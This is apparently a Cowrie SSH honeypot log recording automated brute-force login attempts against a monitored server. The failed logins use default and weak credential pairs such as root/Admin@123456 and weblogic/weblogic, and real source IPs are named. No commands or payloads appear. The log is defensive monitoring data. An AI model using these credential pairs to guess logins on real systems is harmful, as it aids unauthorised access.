{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":53738,"dst_ip":"159.203.135.109","dst_port":22,"session":"16abf452e23b","protocol":"ssh","message":"New connection: 172.237.20.62:53738 (159.203.135.109:22) [session: 16abf452e23b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:36.383972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:36.391714Z","src_ip":"172.237.20.62","session":"16abf452e23b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:36.561838Z","src_ip":"172.237.20.62","session":"16abf452e23b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50034,"dst_ip":"159.203.135.109","dst_port":22,"session":"118e748cbf79","protocol":"ssh","message":"New connection: 176.65.132.129:50034 (159.203.135.109:22) [session: 118e748cbf79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:36.694272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:36.699600Z","src_ip":"176.65.132.129","session":"118e748cbf79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:36.782075Z","src_ip":"176.65.132.129","session":"118e748cbf79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:37.028405Z","src_ip":"176.65.132.129","session":"118e748cbf79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:37.052560Z","src_ip":"172.237.20.62","session":"16abf452e23b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:38.112371Z","src_ip":"176.65.132.129","session":"118e748cbf79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:38.230819Z","src_ip":"172.237.20.62","session":"16abf452e23b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50054,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cad87949c10","protocol":"ssh","message":"New connection: 176.65.132.129:50054 (159.203.135.109:22) [session: 8cad87949c10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:40.075274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:40.079484Z","src_ip":"176.65.132.129","session":"8cad87949c10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:40.162102Z","src_ip":"176.65.132.129","session":"8cad87949c10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xcy","password":"123456","message":"login attempt [xcy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:40.409137Z","src_ip":"176.65.132.129","session":"8cad87949c10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:41.576572Z","src_ip":"176.65.132.129","session":"8cad87949c10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50076,"dst_ip":"159.203.135.109","dst_port":22,"session":"306b984b69ad","protocol":"ssh","message":"New connection: 176.65.132.129:50076 (159.203.135.109:22) [session: 306b984b69ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:43.538514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:43.670187Z","src_ip":"176.65.132.129","session":"306b984b69ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:43.674991Z","src_ip":"176.65.132.129","session":"306b984b69ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:44.091226Z","src_ip":"176.65.132.129","session":"306b984b69ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:45.178221Z","src_ip":"176.65.132.129","session":"306b984b69ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.93345665931702,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:45.837758Z","src_ip":"45.58.127.90","session":"4b18ba42d8a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33242,"dst_ip":"159.203.135.109","dst_port":22,"session":"262cb853bafb","protocol":"ssh","message":"New connection: 176.65.132.129:33242 (159.203.135.109:22) [session: 262cb853bafb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:47.080990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:47.085474Z","src_ip":"176.65.132.129","session":"262cb853bafb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:47.166795Z","src_ip":"176.65.132.129","session":"262cb853bafb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tools","password":"tools","message":"login attempt [tools/tools] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:47.414592Z","src_ip":"176.65.132.129","session":"262cb853bafb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":54954,"dst_ip":"159.203.135.109","dst_port":22,"session":"389ad102a35d","protocol":"ssh","message":"New connection: 172.237.20.62:54954 (159.203.135.109:22) [session: 389ad102a35d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:47.590321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:47.620678Z","src_ip":"172.237.20.62","session":"389ad102a35d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:47.755021Z","src_ip":"172.237.20.62","session":"389ad102a35d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:48.388126Z","src_ip":"172.237.20.62","session":"389ad102a35d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:48.549598Z","src_ip":"176.65.132.129","session":"262cb853bafb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.03798198699951,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:49.379662Z","src_ip":"45.58.127.90","session":"f9dda60d27ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:49.552312Z","src_ip":"172.237.20.62","session":"389ad102a35d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33274,"dst_ip":"159.203.135.109","dst_port":22,"session":"0368e1bd0628","protocol":"ssh","message":"New connection: 176.65.132.129:33274 (159.203.135.109:22) [session: 0368e1bd0628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:50.478284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:50.483568Z","src_ip":"176.65.132.129","session":"0368e1bd0628","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:50.566390Z","src_ip":"176.65.132.129","session":"0368e1bd0628","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:51.029454Z","src_ip":"176.65.132.129","session":"0368e1bd0628","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:52.114055Z","src_ip":"176.65.132.129","session":"0368e1bd0628","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33294,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c6bd15880b0","protocol":"ssh","message":"New connection: 176.65.132.129:33294 (159.203.135.109:22) [session: 7c6bd15880b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:54.140295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:54.143694Z","src_ip":"176.65.132.129","session":"7c6bd15880b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:54.228230Z","src_ip":"176.65.132.129","session":"7c6bd15880b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:54.472310Z","src_ip":"176.65.132.129","session":"7c6bd15880b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:55.631155Z","src_ip":"176.65.132.129","session":"7c6bd15880b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36866,"dst_ip":"159.203.135.109","dst_port":22,"session":"3eec1d2b4501","protocol":"ssh","message":"New connection: 176.65.132.129:36866 (159.203.135.109:22) [session: 3eec1d2b4501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:57.479734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:57.608816Z","src_ip":"176.65.132.129","session":"3eec1d2b4501","protocol":"ssh"}
